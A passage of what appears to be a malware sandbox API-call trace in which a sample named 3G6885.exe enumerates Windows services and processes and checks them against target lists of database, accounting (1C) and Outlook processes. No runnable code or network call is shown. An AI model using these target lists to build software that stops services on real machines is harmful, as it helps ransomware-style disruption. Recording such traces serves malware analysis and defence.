(lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0145.701] lstrlenW (lpString="lmhosts") returned 7 [0145.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0145.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0145.701] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0145.701] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0145.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0145.701] lstrlenW (lpString="MMCSS") returned 5 [0145.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0145.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0145.701] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0145.701] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0145.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0145.701] lstrlenW (lpString="MpsSvc") returned 6 [0145.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0145.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0145.701] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0145.701] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0145.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0145.701] lstrlenW (lpString="Netman") returned 6 [0145.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0145.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0145.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0145.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0145.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0145.701] lstrlenW (lpString="netprofm") returned 8 [0145.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0145.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0145.701] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0145.701] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0145.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0145.702] lstrlenW (lpString="NlaSvc") returned 6 [0145.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0145.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0145.702] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0145.702] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0145.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0145.702] lstrlenW (lpString="nsi") returned 3 [0145.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0145.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0145.702] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0145.702] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0145.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0145.702] lstrlenW (lpString="PcaSvc") returned 6 [0145.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0145.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0145.702] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0145.702] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0145.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0145.702] lstrlenW (lpString="PlugPlay") returned 8 [0145.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0145.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0145.702] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0145.702] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0145.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0145.702] lstrlenW (lpString="Power") returned 5 [0145.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0145.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0145.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0145.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0145.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0145.702] lstrlenW (lpString="ProfSvc") returned 7 [0145.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0145.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0145.703] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0145.703] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0145.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0145.703] lstrlenW (lpString="RpcEptMapper") returned 12 [0145.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0145.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0145.703] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0145.703] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0145.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0145.703] lstrlenW (lpString="RpcSs") returned 5 [0145.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0145.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0145.703] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0145.703] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0145.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0145.703] lstrlenW (lpString="SamSs") returned 5 [0145.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0145.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0145.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0145.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0145.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0145.703] lstrlenW (lpString="Schedule") returned 8 [0145.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0145.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0145.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0145.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0145.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0145.704] lstrlenW (lpString="SENS") returned 4 [0145.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0145.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0145.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0145.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0145.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0145.704] lstrlenW (lpString="ShellHWDetection") returned 16 [0145.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0145.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0145.704] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0145.704] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0145.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0145.704] lstrlenW (lpString="Spooler") returned 7 [0145.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0145.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0145.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0145.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0145.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0145.704] lstrlenW (lpString="SysMain") returned 7 [0145.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0145.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0145.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0145.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0145.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0145.704] lstrlenW (lpString="Themes") returned 6 [0145.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0145.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0145.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0145.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0145.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0145.705] lstrlenW (lpString="TrkWks") returned 6 [0145.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0145.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0145.705] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0145.705] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0145.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0145.705] lstrlenW (lpString="UxSms") returned 5 [0145.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0145.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0145.705] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0145.705] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0145.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0145.705] lstrlenW (lpString="WdiServiceHost") returned 14 [0145.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0145.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0145.705] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0145.705] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0145.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0145.705] lstrlenW (lpString="WdiSystemHost") returned 13 [0145.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0145.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0145.705] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0145.705] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0145.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0145.705] lstrlenW (lpString="Winmgmt") returned 7 [0145.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0145.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0145.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0145.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0145.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0145.706] lstrlenW (lpString="WPDBusEnum") returned 10 [0145.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0145.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0145.706] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0145.706] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0145.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0145.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d9f00 | out: hHeap=0x300000) returned 1 [0145.706] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0145.708] Process32FirstW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.708] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0145.709] lstrlenW (lpString="System") returned 6 [0145.709] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0145.709] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0145.709] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0145.709] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0145.709] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0145.709] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0145.709] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0145.709] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0145.709] lstrlenW (lpString="smss.exe") returned 8 [0145.709] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0145.709] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0145.709] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0145.709] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0145.710] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0145.710] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0145.710] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0145.710] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.710] lstrlenW (lpString="csrss.exe") returned 9 [0145.710] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0145.710] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0145.710] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0145.710] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0145.710] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0145.710] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0145.710] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0145.710] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0145.711] lstrlenW (lpString="wininit.exe") returned 11 [0145.711] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0145.711] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0145.711] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0145.711] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0145.711] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0145.711] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0145.711] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0145.711] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.711] lstrlenW (lpString="csrss.exe") returned 9 [0145.711] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0145.711] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0145.711] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0145.711] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0145.711] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0145.711] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0145.711] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0145.711] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0145.712] lstrlenW (lpString="winlogon.exe") returned 12 [0145.712] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0145.712] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0145.712] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0145.712] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0145.712] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0145.712] lstrlenW (lpString="services.exe") returned 12 [0145.712] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0145.713] lstrlenW (lpString="lsass.exe") returned 9 [0145.713] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0145.713] lstrlenW (lpString="lsm.exe") returned 7 [0145.713] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.713] lstrlenW (lpString="svchost.exe") returned 11 [0145.713] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.714] lstrlenW (lpString="svchost.exe") returned 11 [0145.714] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.714] lstrlenW (lpString="svchost.exe") returned 11 [0145.714] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.714] lstrlenW (lpString="svchost.exe") returned 11 [0145.714] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.715] lstrlenW (lpString="svchost.exe") returned 11 [0145.715] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0145.715] lstrlenW (lpString="audiodg.exe") returned 11 [0145.715] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.715] lstrlenW (lpString="svchost.exe") returned 11 [0145.715] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.716] lstrlenW (lpString="svchost.exe") returned 11 [0145.716] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0145.716] lstrlenW (lpString="spoolsv.exe") returned 11 [0145.716] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0145.716] lstrlenW (lpString="taskhost.exe") returned 12 [0145.717] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.717] lstrlenW (lpString="svchost.exe") returned 11 [0145.717] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0145.717] lstrlenW (lpString="userinit.exe") returned 12 [0145.717] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0145.718] lstrlenW (lpString="dwm.exe") returned 7 [0145.718] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0145.718] lstrlenW (lpString="explorer.exe") returned 12 [0145.718] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0145.718] lstrlenW (lpString="3G6885.exe") returned 10 [0145.718] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0145.719] lstrlenW (lpString="reader_sl.exe") returned 13 [0145.719] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0145.720] lstrlenW (lpString="drvinst.exe") returned 11 [0145.720] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0145.720] lstrlenW (lpString="taskhost.exe") returned 12 [0145.720] Process32NextW (in: hSnapshot=0x214, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0145.720] CloseHandle (hObject=0x214) returned 1 [0145.720] Sleep (dwMilliseconds=0x1f4) [0146.555] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3af1cf0 [0146.556] EnumServicesStatusExW (in: hSCManager=0x3af1cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 